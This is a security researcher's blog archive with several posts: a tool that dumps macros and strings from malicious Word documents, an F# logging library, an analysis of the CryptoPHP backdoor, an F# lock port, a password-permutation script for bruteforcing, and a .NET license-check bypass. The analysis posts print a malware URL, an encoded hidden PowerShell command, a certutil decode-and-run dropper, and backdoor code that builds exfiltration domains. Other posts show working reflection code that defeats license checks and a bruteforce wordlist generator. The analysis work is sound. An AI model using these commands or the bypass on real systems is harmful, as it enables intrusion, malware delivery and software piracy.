sabato 13 agosto 2016

Analyzing a malicious word document was never so easy

As a Threat Analyst I'm often involved in analyzing malicious MS Word documents. This task involve, among the other things, the extraction of the embedded macros in order to be analyzed. Currently there are various tools that allow you to extract the source code of the macro via static analysis, but I found this task pretty boring and time consuming.

Also, the malware authors use various approaches to avoid the insertion of useful information inside the macro source code. A recent article describe some of these techniques.

So I decided to spend some hours and create a program that allows you to:
  • Automatically dump all executed macros
  • Automatically dump all the strings instantiated during the macro execution
  • Automatically dump all the executable dropped by the macro (by string content inspection)
I called it the Macro Inspector, and you can found the source code at https://github.com/enkomio/MacroInspector.

Dump all execute macros

In order to accomplish this task, I had to find the point where the macro source code is read in order to be parsed and executed. After spending some time reversing the VBE7 library I found what seems to be a good point to read the source code:
E8 30070000   CALL 7024428B
8BF0          MOV ESI,EAX
81FE C4880A80 CMP ESI,800A88C4
0F84 CD000000 JE 70243C36
81FE 0D9D0A80 CMP ESI,800A9D0D

After the execution of the CALL instruction we have EDX register points to the line of macro source code just read. We have then a good point to intercept the source of the executed macro.

Dump all instantiated strings

To fulfill this point it was necessary to dig a little bit in the OLE Automation concept. After reading a bit more about the OLE Automation I understood that if I was able to dump all the created BSTR objects I have a good amount of information about the inner working of the executed macro. The BSTR string are managed through various functions, one of the most interested one is the SysFreeString method. By intercepting this method I was able to get all the freed strings created during the macro execution.

Finally, by inspecting the content of the dumped strings I can recognized what could be a valid PE file.

Test on real word malicious documents

In order to intercept the interested code I used the WinAppDbg python module. MacroInspector is very easy to use, just run the python program and open the malicious WORD document. The MacroInspector will loop forever until a new WINWORD process is found.

For all my test I used MS Office 2013, it could happen that for different office version the code to read the macro source may change and then the program it is not able to set the breakpoint.

I decided to try the program with some of the malicious files presented in the Virus Bulletin article. For each sample I executed the macro_inspector program, opened the malicious document, enabled the macro and then closed the document (this last step ensure that events associated with closing action are executed).

Evading macro code extraction I


Hash: 7888b523f6b8a42c8bfad0a2fd02ba6e7837299fbc3d6a2da6bea20f302691f7
By extracting the macros from this document we can notice that no useful information are retrieved. But if we take a look at the dumped strings we can easily identify the following useful information:
String: http:/
String: http://
String: http://w
String: http://ww
String: http://www
String: http://www.
String: http://www.s
String: http://www.st
String: http://www.stu
String: http://www.stud
String: http://www.studi
String: http://www.studio
String: http://www.studiop
String: http://www.studiopa
String: http://www.studiopan
String: http://www.studiopane
String: http://www.studiopanel
String: http://www.studiopanell
String: http://www.studiopanella
String: http://www.studiopanella.
String: http://www.studiopanella.i
String: http://www.studiopanella.it
String: http://www.studiopanella.it/
String: http://www.studiopanella.it/9
String: http://www.studiopanella.it/9u
String: http://www.studiopanella.it/9uh
String: http://www.studiopanella.it/9uh8
String: http://www.studiopanella.it/9uh87
String: http://www.studiopanella.it/9uh87g
String: http://www.studiopanella.it/9uh87g7
String: http://www.studiopanella.it/9uh87g75
String: http://www.studiopanella.it/9uh87g756
from this log it is pretty clear that the macro is trying to decrypt an url.

Evading macro code extraction - II


Hash: e812350f2f84d1b7f211a1778073e14ae52bc3bded8aeac536170361a608f8fa
Even in this case as in the previous one no useful information are contained in the dumped macro source code. But again, if we take a look at the list of extracted strings we can identify very useful information like the following powershell command:
powershell.exe -NoP -sta -NonI -W Hidden -Enc JABXAEMAPQBOAGUAdwAtAE8AQgBKAGUAQwB0ACAAUwBZAFMAVABlAG0ALgBO...

Evading payload magic signature check & Certutil abuse


Hash: 562994fcbece64bd617e200485eeaa6d43e5300780205e72d931ff3e8ccb17aa
Same story as the previous one :) This time the macro tries to execute a shell command after decrypting its value as showed in the following log excerpt:
String: cmd /c certut
String: cmd /c certutil -decode %TM
String: cmd /c certutil -decode %TMP%\\panda.pf
String: cmd /c certutil -decode %TMP%\\panda.pfx %TM
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.ex
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & star
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TM
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TMP%\panda.ex
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TMP%\panda.exe
in the log we can also see a base64 string, that after being decoded present the well know MZ magic value as the first two bytes:
String: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAFBFAABMARAAVwEBAA...

Conclusion

The Macro Inspector is a simple but very useful tool that can really speed up the analysis of Word Document, it is still in its first version, and there is a lot of space for improvement, but I hope that you can find it helpful :)

References

  1. The Journey of Evasion Enters Behavioural Phase - https://www.virusbulletin.com/virusbulletin/2016/07/journey-evasion-enters-behavioural-phase/
  2. WinAppDbg - http://winappdbg.sourceforge.net/
  3. OLE Automation - https://msdn.microsoft.com/en-us/library/dt80be78.aspx

sabato 16 luglio 2016

New Fluent interface in Fslog

Fslog is a simple yet powerful library that can be used to log messages in your program. It was implemented with a semantic approach in mind, and you can find it on GitHub.


The initial interface was a bit cumbersome to use, so I decided to implement a more user friendly interface based on the Fluent style. Let see how to use this new interface, the first step is to configure a LogProvider:
open System
open ES.Fslog

let lp = new LogProvider()
let consoleLogger = new ConsoleLogger(LogLevel.Informational)
lp.AddLogger(consoleLogger)
That piece of code creates and configures a LogProvider with a ConsoleLogger. Now you can create your own LogSource and add it to the LogProvider in order to start to log to the console. Of course you can customize how the log messages are displayed by creating a LogFormatter, like this:
open System
open ES.Fslog
open ES.Fslog.Loggers
open ES.Fslog.TextFormatters

type internal ConsoleLogFormatter() = 
    let getLevelStr(logLevel: LogLevel) =
        match logLevel with
        | LogLevel.Critical      -> "CRIT"
        | LogLevel.Error         -> "ERRO"
        | LogLevel.Warning       -> "WARN"
        | LogLevel.Informational -> "INFO"
        | LogLevel.Verbose       -> "TRAC"
        | _ -> failwith "getLevelStr"
    
    member this.FormatMessage(logEvent: LogEvent) =
        String.Format("[{0}] {1}", getLevelStr(logEvent.Level), logEvent.Message)            

    interface ITextFormatter with
        member this.FormatMessage(logEvent: LogEvent) =
            this.FormatMessage(logEvent)

let customConsoleLogger = new ConsoleLogger(logLevel, new ConsoleLogFormatter())
You can now implement the different log sources where necessary, this is a very easy task thanks to the new fluent interface:
open System
open ES.Fslog

// create the log source
let logSource = 
    log "EntityRepository"
    |> verbose "NoPrint" "I will not be printed due to the current LogLevel value :("
    |> info "Start" "Process started!"
    |> warning "FileNotFound" "Unable to open the file {0}, create it"
    |> warning "DirectoryNotFound" "Unable to list file in directory: {0}. Create it."
    |> error "UnableToCreateFile" "Unable to create the file: {0} in directory: {1}"
    |> critical "DatabaseDown" "Database is not reachable, this is not good!"
    |> build

// add the log source to the log provider
logProvider.AddLogSourceToLoggers(logSource)

// start to log
logSource?NoPrint()
logSource?Start()
logSource?FileNotFound("log.txt")
logSource?DirectoryNotFound("logDirectory/")
logSource?UnableToCreateFile("log.txt", "logDirectory/")
logSource?DatabaseDown()
And that's all, you can find more examples in the FluentTests class.

mercoledì 16 settembre 2015

CryptoPHP Vs Tempesta

I have recently published a new static analysis tool (Tempesta), useful to analyze PHP source code in order to identify a possible malicious behavior. The project is still in its early stage so I carefully monitor the files that are submitted and what could be the cause of possible issues. One of these files is the infamous CryptoPHP backdoor (Fox-IT report).

The submitted sample initially hasn't produced any results, mainly due to the fact that the sample is not a valid PHP code (ok, ok, there was also a bug in Tempesta that prevented the analysis :P).

The sample is composed of only three classes definitions without any objects instantiation code. I decided to take a closer look at this file in order to see if Tempesta was able to analyze it.

The first step was to fix the syntax by closing all the unbalanced parenthesis. Then, I have added three lines of code that just instantiate each class in a correct way.

The first submission didn't returne any meaningful result. By inspecting the code more carefully it was easy to find a call to the function curl_setopt, with high chance this means that inside the file there should also be a list of contacted domains. This was confirmed by the following piece of code that builds the array of the domains to contact:

foreach ($this->uQfIZmMpqyjCaRQMgMoc as $ZRhtpGOgTZTZRdeSYVBw) { $ANVoslonRNQSwwQloQTx[] = base64_decode(str_rot13(strrev($ZRhtpGOgTZTZRdeSYVBw))); }
However, by continuing to inspect the code, the following snipped is executed:

foreach ($eaRKAIVvmthhlFyDIslv as $emDnXOMHIUCHXVocAIgZ) { $ANVoslonRNQSwwQloQTx[] = $JKBGKZwspUYvdkeoetY[$emDnXOMHIUCHXVocAIgZ]; } return $ANVoslonRNQSwwQloQTx;


where $JKBGKZwspUYvdkeoetY is the array populated in the previous snipped and containing the decoded domains, $eaRKAIVvmthhlFyDIslv is an opaque value and $ANVoslonRNQSwwQloQTx is the final array containing the domains that will receive the stolen data. In this specific case, without knowing exactly the value of the $eaRKAIVvmthhlFyDIslv variable, we are not able to populate correctly the array variable $ANVoslonRNQSwwQloQTx, with the result that we can't identify the list of contacted domains. This is a tipical case of the limitation of the static analysis tools (or at least of the current used static analysis approach).

However, not everything is lost. By inserting some more fine grained code inspection during the simulation we were able to identify the list of domains.

You can find the analysis of the sample at: http://enkomio.com/tempesta/#/scan/bbe1de38-a798-4f0a-99c3-1e0f1dee07b3


Update Here is another analysis of a CryptoPHP backdoor: http://enkomio.com/tempesta/#/scan/18a7b126-31a8-4048-b032-80fe50b0ae72

lunedì 6 gennaio 2014

Porting of AsyncOneManyLock to F#

If you have read the awesome book by Jeffrey Richter CLR via C# 4 ed. you have discovered that there are more optimal ways for thread synchronization than the one provided by the BCL. One of them is the use of new asynchronous capabilities in order to create an asynchronous synchronization primitive. In the book it is presented an AsyncOneManyLock which is used for thread synchornization for code with a high demand for responsiveness and scalability.
If you are an F# developer you know that the F# Asynchornous Workflow  and the Task Parallel Library are different, so I decided to port this useful piece of code to F# and show you how to use it with an example.

You can download the source code from here.

A simple example of usage of AsyncOnManyLock, we try to synchronize the access to a shared list from different kind of consumers as follows:

open System
open System.Collections.Generic
open System.Threading
open System.Threading.Tasks
open AP.Threading

[]
let main argv = 
    let asyncOneManyLock = new AsyncOneManyLock()
    let rnd = new Random()
    let col = new List()
    col.Add(1)
    
    async {
        while(true) do 
            let! discard = asyncOneManyLock.WaitAsync(OneManyMode.Shared) |> Async.AwaitTask
            let elem = col |> Seq.head
            printfn "col[0]=%d; col.Count=%d" elem col.Count
            asyncOneManyLock.Release()

    } |> Async.Start

    async {
        while(true) do            
            Thread.Sleep(rnd.Next(10000))
            let! discard = asyncOneManyLock.WaitAsync(OneManyMode.Exclusive) |> Async.AwaitTask
            let numOfElement = rnd.Next(col.Count - 1)
            if numOfElement > 0 then
                col.RemoveRange(0, numOfElement)
            asyncOneManyLock.Release()

    } |> Async.Start

    async {
        while(true) do  
            let! discard = asyncOneManyLock.WaitAsync(OneManyMode.Exclusive) |> Async.AwaitTask
            col.Insert(0, rnd.Next())
            asyncOneManyLock.Release()

    } |> Async.RunSynchronously

    0



The example creates three concurrent tasks that try to access a shared list to read/delete or update the contained items. If the access is of read type then a simple shared lock is sufficient, but in order to modify the list you must access the lock in an exclusive mode. In order to use the TPL with the Async builder you must pass the Task to the Async.AwaitTask function.

That's all, now you can benefit of a highly efficient, not blocking, threat synchronization component.

domenica 1 dicembre 2013

Words permutation for passwords generation

When you are performing a password bruteforcing you may have some hints on the password format, of course it is a pity not to exploit this information. During one of my test I noticed that a lot of passwords were based on some year number plus some words combination, like mimmo1983 or oracle2010db.

In order to use this knowledge I have created a little F# script that combines the inputs lists values in order to create all possible permutations.
I am pretty sure that you can do the same with John The Ripper, but I couldn't miss the opportunity to write some F# code. Of course you can use the code for other purposes, even not malicious ones!


let combineValues (listOfList: _ list list) =
    let indexArray = Array.zeroCreate(listOfList.Length)

    let rec combineValuesImpl (listOfList: _ list list) (listIndex: Int32 list) (currentScannedListIndex: Int32) = 
 seq {

  let currentScannedListOverflow =
   let currentList = listOfList.[currentScannedListIndex]
   if listIndex.[currentScannedListIndex] >= currentList.Length  then true
   else false
   
  if currentScannedListOverflow then
   // update the indexs           
   let newListIndex = Array.copy(listIndex |> Array.ofList)     
   newListIndex.[currentScannedListIndex] <- newListIndex.[currentScannedListIndex] + 1

   // zeroes the previous index
   for i in [0 .. currentScannedListIndex] do                        
    newListIndex.[i] <- 0

   // update the next list index
   let updateNextIndex = ref true
   for i in [currentScannedListIndex+1 .. listIndex.Length-1] do
    if !updateNextIndex then
     let li = listIndex.[i] + 1
     if li >= listOfList.[i].Length then
      newListIndex.[i] <- 0
     else 
      newListIndex.[i] <- li
      updateNextIndex := false

   if not(!updateNextIndex) then
    yield! combineValuesImpl listOfList (newListIndex |> List.ofSeq) 0
  else
   // calculate value
   let newCombination = Array.zeroCreate<_>(listOfList.Length)
   for i in [0..listOfList.Length-1] do
    let listValIndex = listIndex.[i]
    let listVal = listOfList.[i].[listValIndex]
    newCombination.[i] <- listVal
   yield newCombination
  
   // update the indexs           
   let newListIndex = Array.copy(listIndex |> Array.ofList)     
   newListIndex.[currentScannedListIndex] <- newListIndex.[currentScannedListIndex] + 1

   // iterate
   yield! combineValuesImpl listOfList (newListIndex |> List.ofSeq) currentScannedListIndex
 }

    combineValuesImpl listOfList (indexArray |> List.ofArray) 0
Follow an example of usage:
for test in (combineValues [["oracle"; "tomcat"]; ["password"; "secret"]; ["letmein"; "qwerty"; "123456"]]) do
    printf "%s-%s-%s\n" test.[0] test.[1] test.[2]

which produce the following result
oracle-password-letmein
tomcat-password-letmein
oracle-secret-letmein
tomcat-secret-letmein
oracle-password-qwerty
tomcat-password-qwerty
oracle-secret-qwerty
tomcat-secret-qwerty
oracle-password-123456
tomcat-password-123456
oracle-secret-123456
tomcat-secret-123456
if you want to try it (maybe with your custom words list) checkout this link.

domenica 20 ottobre 2013

.NET code protection, your are doing it wrong

In the past years I have audited various .NET programs in order to verify if it was possible to bypass the license registration mechanism. The most used technique is to obfuscate the MSIL in order to avoid decompiling the registration routine and writing a valid keygen.

The problem of this approach is that even if you use a strong code obfuscator (and there are plenty of them available out there) the code can be easly hacked if not designed in a secure way.

A typical solution is composed of a DLL that implements the license check routine which validates if the product is correctly registered. If this check succeeds then a License object is created and returned. In the "most advanced" case the check is repeated every tot seconds.

The problem in this case is how you have designed this mechanism. If you have followed good OO design then I have bad news for you. Consider the following piece of code:

using System;

namespace CodeProtection
{
    public class License
    {
        public License(String name)
        {
            this.Name = name;
        }

        public String Name { get; private set; }
    }

    public interface ILicenseChecker
    {
        License GetRegisteredLicense();
    }

    public sealed class DefaultLicenseChecker : ILicenseChecker
    {
        public License GetRegisteredLicense()
        {
            return GetRegisteredLicenseFromSecureStore();
        }

        private License GetRegisteredLicenseFromSecureStore()
        {
            // Check if the license is valid, return null on fail. 
            // This code is heavily  obfuscated and difficult to reverse.
            return null;
        }
    }

    public static class LicenseManager
    {
        internal static ILicenseChecker Checker = new DefaultLicenseChecker();

        public static License GetLicense()
        {
            return Checker.GetRegisteredLicense();
        }
    }

    public class Program
    {
        static void Main(string[] args)
        {
            var license = LicenseManager.GetLicense();
            if (license != null)
            {
                CodeToProtect();
            }
            else
            {
                Console.WriteLine("Product not licensed");
            }
        }

        private static void CodeToProtect()
        {
            Console.WriteLine("Great stuff done here!");
        }
    }
}

We want to be sure that the method CodeToProtect will be executed only if the license is valid. To do this the code follows a good OO design, it uses an interface in order to decouple the contract from the effective implementation. This allows the developer to use a moked version of  ILicenseChecker during the development and to switch to the final implementation when needed.

If you release that code it is higly probable that it will be hacked in a very easy way. To hack that code it is not necessary to modify the MSIL or to use more complex stuff like the CLR Memory Diagnostics. It is possible to write a bypass by using only plain reflection, like this one: 

using System.Reflection;
using CodeProtection;

namespace CodeProtectionBypass
{
    class Program
    {
        static void Main(string[] args)
        {
            var licenseManagerType = typeof(LicenseManager);
            var checkerProperty = licenseManagerType.GetField("Checker", 
                BindingFlags.NonPublic | BindingFlags.Static);

            checkerProperty.SetValue(null, new HackedLicenseChecker());

            // run the program
            CodeProtection.Program.Main(args);
        }
    }

    public sealed class HackedLicenseChecker : ILicenseChecker
    {
        public License GetRegisteredLicense()
        {
            return new License("Hacked");
        }
    } 
}

TL;DR
When you need to design the code that will check the validity of your license, follow these simple advices:
  • Use sealed classes to avoid someone else extending your class in a malicious way
  • Don't use Interface or Abstract class as field or property in the license check code, that will prevents others to replace your objects via reflection
  • Insert the validation code in the same assembly where it is used, and declare the methods internal or private. This allow the obfuscator to properly obfuscate the code and the routine names, this isn't possible if the method is public